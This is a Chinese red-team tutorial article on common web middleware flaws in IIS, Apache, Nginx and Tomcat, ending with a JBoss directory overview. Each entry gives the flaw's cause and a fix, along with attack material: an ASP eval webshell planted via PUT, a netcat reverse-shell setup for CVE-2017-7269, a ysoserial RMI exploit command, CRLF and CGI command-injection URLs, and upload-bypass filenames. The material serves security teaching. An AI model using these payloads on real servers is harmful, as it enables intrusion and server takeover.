红队攻击篇-常见中间件安全集合分析&漏洞利用&原理分析&一文搞定中间件安全认知
2023-2-16 11:7:37 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:89 收藏

中间件：Middleware是提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。它所充当的功能是：将应用程序运行环境与操作系统隔离，从而实现应用程序开发者不必为更多系统问题忧虑，而直接关注该应用程序在解决问题上的能力 ，容器实际上就是中间件的一种。

中间件可以理解为：一类能够为一种或多种应用程序合作互通、资源共享，同时还能够为该应用程序提供相关的服务的软件。（中间件是一类软件的总称，不是单独的一个软件），所以我们经常管Web中间件叫做Web服务器或者Web容器。

常见的Web中间件如下：

  • IIS
  • Apache
  • Tomcat
  • Nginx
  • Jboss
  • Weblogic

0X01 IIS 中间件

IIS 6.x PUT漏洞

IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写入的权限，造成任意文件上传

用 Burpsuite 提交 OPTIONS去查看支持的协议，尝试PUT方法写入shell.asp

PUT /test.txt HTTP/1.1
Host: test.com
Content-Length: 25
<%eval request("鸡你太美")%>
MOVE /test.txt HTTP/1.1
Host: test.com
Destination: http://test.com/shell.asp

建议：关闭WebDAV服务，关闭目录写入权限

IIS 6.0 解析漏洞

基于文件名

该版本默认将此种格式的文件名，当成asp解析

*.asp;.jpg

服务器默认不解析分号及其后面的内容，相当于截断。IIS除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa 扩展名解析成asp文件。在IIS 6.0->主目录->配置中查看这几种扩展名其实都是指向同一个文件asp.dll的

C:\WINDOWS\system32\inetsrv\asp.dll

这个文件的作用就是把这几种扩展名解析asp，通过文件上传，或者创建文件，格式为*.asp;.jpg即可

建议：禁止创建和上传此类畸形文件，将图片存放的目录设置成禁止脚本文件执行，升级IIS版本

基于文件夹

该版本默认将 *.asp/ 目录下的所有文件当成asp解析，我们创建文件.asp文件夹，上传图片格式后门到此目录即可

建议：禁止创建此类文件夹，升级IIS版本

IIS X.0 短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定（SFN）的代字符（〜）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。信息泄露漏洞而已，参考：https://blog.csdn.net/qq_41600824/article/details/127810951

Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入 dir /x 即可看到短文件名的效果：

当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位。当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名。目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种，在IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。IIS8.0以下版本需要开启ASP.NET支持，IIS>=8.0版本，即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可成功

短文件名特征：

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增
  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断

  1. 所有小写字母均转换成大写的字母

  2. 长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件

可以使用payload去验证目标是否存在IIS短文件名漏洞，如果出现的404说明目标存在该短文件名，通过浏览器访问一个不存在的短文件名，会返回400状态码，400说明该文件不存在

http://test.com/*~1*/a.aspx
image-20230215213830665
http://test.com/zzzz*~1*/a.aspx

通过浏览器访问上面两个payload，根据返回的结果，可以说明目标存在IIS短文件漏洞，判断漏洞存在后，使用漏扫即可

使用IIS短文件名扫描软件，获取目标存在哪些短文件名

python iis_shortname_Scan.py http://test.com/

建议：升级.net framework版本，修改注册表键值，修改完成后，重启系统生效。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1

IIS 6.0 WebDAV RCE

漏洞编号：CVE-2017-7269

发现人员：Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室，计算机科学与工程学院）

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND请求

影响版本：WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展

EXP：https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 9999
python3 iis 目标机IP 80 攻击机IP 9999

建议：关闭 WebDav服务，升级IIS版本，部署安全设备

IIS 7.0 文件解析漏洞

IIS 7.x 版本在 Fast-CGl 运行模式下，在任意文件后面加上/.php就会将其解析为php文件

  • 例：001.jpg/png后面加上/.php，会将001.jpg/png解析为php文件

上传图片到网站允许目录，在图片上加上/.php

http://192.168.0.11:8080/1.jpg/.php

即可运行1.jpg文件，发现其被解析为php文件

建议：配置 cgi fix_pathinfo（php inil中）为 0 并重启php-cgi程序，编辑映射模块->映射->打勾

IIS X.0 HTTP.SYS RCE

CVE-2015-1635（MS15-034 ）HTTP.SYS远程代码执行

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.SYS。HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。主要存在Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响：Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2都受到影响。主要影响版本：IIS7.5、IIS8.0、IIS8.5

访问网站后编辑请求头，增加字段

Range: bytes=0-18446744073709551615

若返回码状态为416 Requested Range Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞。

GET / HTTP/1.1
Host: 192.168.0.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Range: bytes=0-18446744073709551615
Content-Length: 2

POC: https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

建议：安装修复补丁（KB3042553）即可

0X02 Apache 中间件

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的 Web 服务器端软件之一。

目录结构如下：

bin            存放常用命令工具，如httpd
cgi-bin        存放linux下常用命令，如xxx.sh
error  错误记录
htdocs  网站源码
icons  网站图标
manual  手册
modules  扩展模块

Apache HTTPD 多后缀解析漏洞

Vulhub：https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/

Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件：

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文件index.cn.html，他将返回一个中文的html页面。以上是Apache多后缀的特性。如果运维人员给.php后缀增加处理器：

AddHandler application/x-httpd-php .php

那么，在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。

简单来说：Apache默认一个文件可以有多个以点分割的后缀，当最右边的后缀无法识别，则继续向左识别，直到识 别到合法后缀才进行解析。比方说我上传了一个名字叫 lcx.php.qqq 的文件，当此特性存在的时候，一看.qqq不认识， 继续解析，.php我认识，解析成php文件了。访问也是同理，比如访问phpinfo.php.qqq可成功显示phpinfo。

那么哪些后缀Apache不认识？不在mime.types当中的都不认识 （Multipurpose Internet Mail Extensions）

访问http://IP/uploadfiles/apache.php.jpeg即可发现，phpinfo被执行了，该文件被解析为php脚本

http://ip/index.php中是一个白名单检查文件后缀的上传组件，上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件，利用Apache解析漏洞进行getshell。

  • 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞
  • 使用fastcgi模式与php结合的所有版本apache不存在此漏洞
  • 利用此漏洞时必须保证扩展名中至少带有一个.php，不然将默认作为txt/html文档处理

AddHandler 解析漏洞

Apache在解析文件时有一个原则：当碰到不认识的扩展名时，将会从后往前解析，直到遇到认识的扩展名为止，如果都不认识将会暴露源码。在Apache配置不当的时候就会造成Apache解析漏洞。

在 httpd.conf 把注释去掉，后缀是存在.php .phtml都会解析成php文件

AddType application/x-httpd-php .php .phtml

Apache Indexes 目录遍历漏洞

当客户端访问到一个目录时，Apache服务器将会默认寻找一个index list中的文件，若文件不存在，则会列出当前目录下所有文件或返回403状态码，而列出目录下所有文件的行为称为目录遍历。

httpd.conf 文件配置如下

DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>

在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options - Indexes + FollowSymLinks + ExecCGI并保存（+修改为-）

+ Indexes 允许目录浏览
— Indexes 禁止目录浏览

Apache HTTPD 换行解析漏洞

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0a将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。CVE-2017-15715

影响范围：2.4.0~2.4.29版本

<html>
<head><meta charset="utf-8"></head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
<br />
<?php
if(isset($_FILES['file'])){
#1.php php
$name =basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
$array=array('php','php3','php4','php5','phtml','pht');
if(in_array($ext,$array)){
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'],'./'.$name);
}
?>

后台是通过黑名单方式过滤了php后缀的文件，根据最开始的知识，什么样的文件算是php文件呢？在最开始有定义，这句话的意思是以php结尾的文件都算php文件，在正则中表示匹配输入字符串的结尾位置。如果设置了 RegExp对象的 Multiline属性，则也匹配 \n 或 \r 恰好，我们在文件末尾加了0x0a（n），所以被匹配成功了

可以看到这里获取文件名是需要单独post一个name的，因为如果通过 $_FILES['file']['name'] 获取文件名的话，会把\x0a自动去除，所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成这个漏洞

0x0a和0x0d

0x0d \r CR这三者代表是回车，是同一个东西，回车的作用只是移动光标至该行的起始位置
0x0a \n CL这三者代表换行，是同一个东西，换行至下一行行首起始位置；

上传一个名为1.php的文件，被拦截：

在1.php后面插入一个\x0A（注意，不能是\x0D\x0A，只能是一个\x0A），不再拦截：

image-20230215223500768

访问刚才上传的/1.php%0a，发现能够成功解析，但这个文件不是php后缀，说明目标存在解析漏洞

image-20230215223528552

建议：升级到最新版本或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行

Apache Vulhub 环境漏洞集合

0X03 Nginx 中间件

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

Nginx 文件解析漏洞

该漏洞是由于Nginx中php配置不当而造成的，与Nginx版本无关，但在高版本的php中，由于security.limit_extensions的引入，使得该漏洞难以被成功利用。在已经上传了恶意1.jpg文件后，访问/1.jpg/xxx.php，（路径修复cgi.fix_pathinfo=1后）使得Nginx将其解析为php文件传给php-cgi程序（传给路径位于SERVER["SCRIPT_FILENAME"]，修复去除路径位于 SERVER["PATH_INFO"]），但cgi程序将其解析为1.jpg并执行。

版本信息：

  • Nginx 1.x 最新版
  • PHP 7.x最新版

由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。

访问http://your-ip/uploadfiles/nginx.png和http://your-ip/uploadfiles/nginx.png/.php即可查看效果。

正常显示：

增加/.php后缀，被解析成PHP文件：

Nginx的处理程序和FastCGI处理程序不同导致，Nginx拿到URI为/1.jpg/xxx.php后，识别处后缀是.php，认为是php文件，转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI： /1.jpg/xxx.php不存在，按照PHP FastCGI处理程序自己的规则，删去最后的/xxx.php，又看/1.jpg存在，就将/1.jpg当成要执行的文件，就成功解析。Nginx传送给PHP FastCGI处理程序的路径可以在phpinfo中查看【传送路径查看】

cgi.fix_pathinfo为php中的一个选项，默认开启为1，作用为修理路径，也就是对路径URI的处理规

当php遇到文件路劲为/1.jpg/xxx.php/ss.001时，该文件不存在，会删除最后的/ss.001，再判断/1.jpg/xxx.php是否存在，若存在则将/1.jpg/xxx.php当作/1.jpg/xxx.php/ss.001文件，若不存在，则继续删除最后一个路径。删除的多余路径会存在PATH_INFO中，在这里为ss.001

建议：将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg 不存在就会显示404页面，php-fpm.conf中的security.limit_extensions后面的值设置为.php

Nginx 目录遍历漏洞

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

修改nginx.conf,在如下图位置添加autoindex on

autoindex on;

autoindex on 开启目录浏览，autoindex off关闭目录浏览，默认是关闭状态

Nginx 空字节代码执行

在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问url+%00.php来执行其中的php代码。如：http://local/robots.txt.php会把robots.txt文件当作php来执行。

影响版本：

nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37

在网站目录下添加1.jpg文件，访问该文件抓包


将请求修改为

/1.jpg..php

发包即可


Nginx 越界读取缓存漏洞

CVE-2017-7529 参考阅读：

  • https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7
  • http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

检测脚本：https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529

访问http://your-ip:8080/，即可查看到Nginx默认页面，这个页面实际上是反向代理的8081端口的内容。

调用python3 poc.py http://your-ip:8080/，读取返回结果：

可见，越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

如果读取有误，请调整poc.py中的偏移地址（605）。

Nginx CRLF注入漏洞

Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF注入漏洞

在C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf文件中添加下面一行话

错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
    return 302 https://$host$uri;
}

Payload: http://your-ip:8080/%0d%0aSet-Cookie:%20a=1，可注入Set-Cookie头

利用《Bottle HTTP 头注入漏洞探究》中的技巧，即可构造一个XSS漏洞：

Nginx 文件名逻辑漏洞

CVE-2013-4547 影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

参考链接：

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4547
  • https://blog.werner.wiki/file-resolution-vulnerability-nginx/
  • http://www.91ri.org/9064.html

这一漏洞的原理是非法字符空格和截止符（\0）会导致Nginx解析URI时的有限状态机混乱，此漏洞可导致目录跨越及代码执行，这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下：

location ~ \.php$ {
    include        fastcgi_params;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。

所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。再举个例子，比如很多网站限制了允许访问后台的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫“test ”：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）

访问http://your-ip:8080/即可看到一个上传页面。这个环境是黑名单验证，我们无法上传php后缀的文件，需要利用CVE-2013-4547。我们上传一个“1.gif ”，注意后面的空格：

img

访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php，即可发现PHP已被解析：

img

注意，[0x20]是空格，[0x00]是\0，这两个字符都不需要编码。

Nginx 目录穿越漏洞

Nginx在配置别名（Alias）的时候，如果忘记加/，将造成一个目录穿越漏洞。

错误的配置文件示例（原本的目的是为了让用户访问到/home/目录下的文件）：

location /files {
    alias /home/;
}

Payload: http://your-ip:8081/files../ ，成功穿越到根目录：

0X04 Tomcat 中间件

Tomcat是一个开源而且免费的jsp服务器，属于轻量级应用服务器。它可以实现JavaWeb程序的装载，是配置JSP（Java Server Page）和JAVA系统必备的一款环境。

目录介绍

|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| `-- MANIFEST.MF # 配置清单文件
|-- WEB-INF # WEB-INF 目录
| |-- classes # class文件目录
| | |-- *.class # 程序需要的 class 文件
| | `-- *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | `-- *.jar # 程序需要的 jar 包
| `-- web.xml # Web应用程序的部署描述文件
|-- <userdir> # 自定义的目录
|-- <userfiles> # 自定义的资源文件
  • webapp：工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包
  • META-INF：META-INF 目录用于存放工程自身相关的一些信息，元文件信息，通常由开发工具，环境自动生成
  • WEB-INF：Java web应用的安全目录。所谓安全就是客户端无法访问，只有服务端可以访问的目录
  • /WEB-INF/classes：存放程序所需要的所有 Java class 文件
  • /WEB-INF/lib：存放程序所需要的所有 jar 文件
  • /WEB-INF/web.xml：web 应用的部署配置文件。它是工程中最重要的配置文件，它描述了 servlet 和组成应用的其它组件，以及应用初始化参数、安全管理约束等

Tomcat PUT方法任意写文件漏洞

CVE-2017-12615 影响范围： Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

当 Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

参考：

  • http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
  • https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
  • https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件：

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制。直接发送以下数据包即可在Web根目录写入shell：

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell

支持三种绕过方式：

PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

Tomcat 弱口令 Getshell

在tomcat8环境下默认进入后台的密码为tomcat/tomcat，未修改造成未授权即可进入后台，或者管理员把密码设置成弱口令，使用工具对其进行穷举。得到密码后，也可以进行后台上传恶意代码控制服务器。

Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。Tomcat7+权限分为：

  • manager（后台管理）
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限，和status权限
    • manager-jmx 拥有jmx权限，和status权限
  • host-manager（虚拟主机管理）
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用，详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

在conf/tomcat-users.xml文件中配置用户的权限：

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见，用户tomcat拥有上述所有权限，密码是tomcat。正常安装的情况下，tomcat8中默认没有任何用户，且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下，才可以进行攻击。

上传会自动解压 用客户端进行连接即可获取

打开tomcat管理页面http://your-ip:8080/manager/html，输入弱密码tomcat:tomcat，即可访问后台：

上传war包即可直接getshell

建议：设置强口令 conf/tomcat-users.xml 或者删除manger文件

<user username="tomcat" password="tomcat" roles="manager-gui,manager-
script,manager-jmx,manager-status,admin-gui,admin-script" />

Tomcat 远程代码执行漏洞

CVE-2019-0232 影响范围：

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

Apache Tomcat是美国阿帕奇（Apache）软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。4月11日，Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞（CVE-2019-0232），由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。 触发该漏洞需要同时满足以下条件：

  1. 系统为Windows
  2. 启用了CGI Servlet（默认为关闭）
  3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）

搭建tomcat后修改web.xml，Tomcat的CGI_Servlet组件默认是关闭的，在 conf/web.xml 中找到注释的CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable，如下：

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

然后修改在conf/context.xml中的添加privileged="true"语句

<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts --
>
<!--
<Manager pathname="" />
-->
</Context>

在webappsROOTWEB-INF下创建一个cgi-bin文件夹，并在文件夹内创建一个bat文件写入

@echo off
echo Content-Type: text/plain
echo.
set off=%~1
%off%

访问 http://192.168.0.136:8080/cgi-bin/hello.bat?&C%3AWindows%5CSystem32%5Cnet%20user

Tomcat 反序列化漏洞

CVE-2016-8735 漏洞影响版本：

  • ApacheTomcat 9.0.0.M1 到9.0.0.M11
  • ApacheTomcat 8.5.0 到8.5.6
  • ApacheTomcat 8.0.0.RC1 到8.0.38
  • ApacheTomcat 7.0.0 到7.0.72
  • ApacheTomcat 6.0.0 到6.0.47

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞（CVE-2016-3427）相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致 的远程代码执行。该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

利用条件：外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口，来实现远程代码执行。

conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口：

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />

修改bin\catalina.bat，在Execute The Requested Comman上面添加

set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -
Dcom.sun.management.jmxremote.authenticate=false
  • -Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
  • -Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证

允许 startup.bat tomcat 查看端口

执行命令：弹窗计算器

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001
Groovy1 "calc.exe"

建议：关闭 JmxRemoteLifecycleListener 功能，或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时，增加严格的认证方式。根据官方去升级更新相对应的版本。

Apache Tomcat 文件包含漏洞

CVE-2020-1938  影响版本：

  • Apache Tomcat 6
  • Tomcat 7系列 <7.0.100
  • Tomcat 8系列 < 8.5.51
  • Tomcat 9 系列 <9.0.31

Java 是目前 Web 开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。Ghostcat（幽灵猫） 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

参考链接：

  • https://www.chaitin.cn/zh/ghostcat
  • https://www.cnvd.org.cn/webinfo/show/5415
  • https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
  • https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

环境启动后，访问http://your-ip:8080即可查看tomcat默认页面，此时通过AJP协议的8009端口亦可访问Tomcat。

利用如下工具均可测试漏洞：

  • https://github.com/chaitin/xray
  • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

0X05 Jboss 中间件

JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。

目录浏览：

  • bin   启动和关闭JBoss 的脚本
  • client   客户端与JBoss 通信所需的Java 库（JARs）
  • docs   配置的样本文件（数据库配置等）
  • docs/dtd   在JBoss 中使用的各种XML 文件的DTD
  • lib     一些JAR，JBoss 启动时加载，且被所有JBoss 配置共享。（不要把你的库放在这里）
  • server   各种JBoss 配置。每个配置必须放在不同的子目录。子目录的名字表示配置的名字。JBoss 包含3个默认的配置：minimial，default 和all，在你安装时可以进行选择
